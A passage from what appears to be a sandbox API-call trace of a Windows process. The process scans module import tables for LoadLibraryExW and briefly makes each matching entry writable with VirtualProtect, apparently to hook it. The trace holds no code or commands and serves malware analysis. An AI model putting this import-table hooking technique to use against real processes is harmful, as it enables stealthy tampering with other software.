(lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.564] lstrcmpiA (lpString1="GlobalDeleteAtom", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.564] lstrcmpiA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="QueueUserWorkItem", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="AcquireSRWLockShared", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="ReleaseSRWLockShared", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="WritePrivateProfileStringW", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="FormatMessageW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="InitializeSRWLock", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.565] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.565] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.565] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.565] VirtualProtect (in: lpAddress=0x7fefd605248, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.566] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefee30000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefee30000, AllocationBase=0x7fefee30000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.566] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.566] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030dd0 [0079.566] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.566] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.566] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.566] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.566] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.566] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0079.566] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GlobalAlloc", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="GetOEMCP", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0079.566] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0079.566] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0079.566] lstrcmpiA (lpString1="FindResourceW", lpString2="LoadLibraryExW") returned -1 [0079.566] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.566] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.567] VirtualProtect (in: lpAddress=0x7fefee82268, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.567] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x76f40000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x76f40000, AllocationBase=0x76f40000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.567] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.567] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030e40 [0079.567] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.567] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.567] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.567] lstrcmpiA (lpString1="GlobalGetAtomNameW", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="GlobalAddAtomA", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="GlobalFindAtomA", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="lstrlenA", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="GetVersionExW", lpString2="LoadLibraryExW") returned -1 [0079.567] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="LoadLibraryExW") returned 1 [0079.567] lstrcmpiA (lpString1="RegEnumValueW", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="RegQueryInfoKeyW", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="GetSystemDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="IsDBCSLeadByte", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="WerpNotifyUseStringResource", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="ProcessIdToSessionId", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.568] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="GetLogicalDrives", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="FindNextFileW", lpString2="LoadLibraryExW") returned -1 [0079.568] lstrcmpiA (lpString1="FindFirstFileW", lpString2="LoadLibraryExW") returned -1 [0079.568] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.568] VirtualProtect (in: lpAddress=0x76fc2878, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.568] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff1b0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7feff1b0000, AllocationBase=0x7feff1b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.568] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.568] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030eb0 [0079.568] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.569] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.569] lstrcmpiA (lpString1="USP10.dll", lpString2="KERNEL32.DLL") returned 1 [0079.569] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030eb0 | out: hHeap=0x2020000) returned 1 [0079.569] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd7f0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefd7f0000, AllocationBase=0x7fefd7f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.569] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.569] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030eb0 [0079.569] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.569] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.569] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="FindResourceA", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="LoadResource", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0079.569] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0079.569] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="GetProfileStringA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetProfileIntA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="lstrlenW", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="IsValidLocale", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0079.570] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0079.570] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.570] lstrcmpiA (lpString1="GDI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.570] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0079.571] HeapFree (in: hHeap=0x2020000, dwFlags=0x0, lpMem=0x2030eb0 | out: hHeap=0x2020000) returned 1 [0079.571] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef77f0000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fef77f0000, AllocationBase=0x7fef77f0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.571] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x27ecd0, ReturnLength=0x0) returned 0x0 [0079.571] RtlAllocateHeap (HeapHandle=0x2020000, Flags=0x0, Size=0x60) returned 0x2030eb0 [0079.571] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0079.571] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0079.571] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0079.571] lstrcmpiA (lpString1="USER32.dll", lpString2="KERNEL32.DLL") returned 1 [0079.571] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0079.571] lstrcmpiA (lpString1="GetVersionExA", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="OpenFileMappingW", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="MapViewOfFile", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="MulDiv", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GetACP", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="LoadLibraryA", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="PulseEvent", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="CheckForReadOnlyResource", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GlobalHandle", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="GlobalFree", lpString2="LoadLibraryExW") returned -1 [0079.571] lstrcmpiA (lpString1="MoveFileW", lpString2="LoadLibraryExW") returned 1 [0079.571] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="GetTempFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="GetFullPathNameW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="Beep", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="SizeofResource", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="SearchPathW", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="ExitThread", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="GetCurrentThread", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="GetPrivateProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="GetProfileStringW", lpString2="LoadLibraryExW") returned -1 [0079.572] lstrcmpiA (lpString1="LockResource", lpString2="LoadLibraryExW") returned 1 [0079.572] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0079.572] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x2) returned 1 [0079.572] VirtualProtect (in: lpAddress=0x7fef78174a8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x27ecd0 | out: lpflOldProtect=0x27ecd0*=0x40) returned 1 [0079.573] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc450000, lpBuffer=0x27eda0, dwLength=0x30 | out: lpBuffer=0x27eda0*(BaseAddress=0x7fefc450000, AllocationBase=0x7fefc450000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0079.573] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x27ecd0, ProcessInformationLength=0x30, 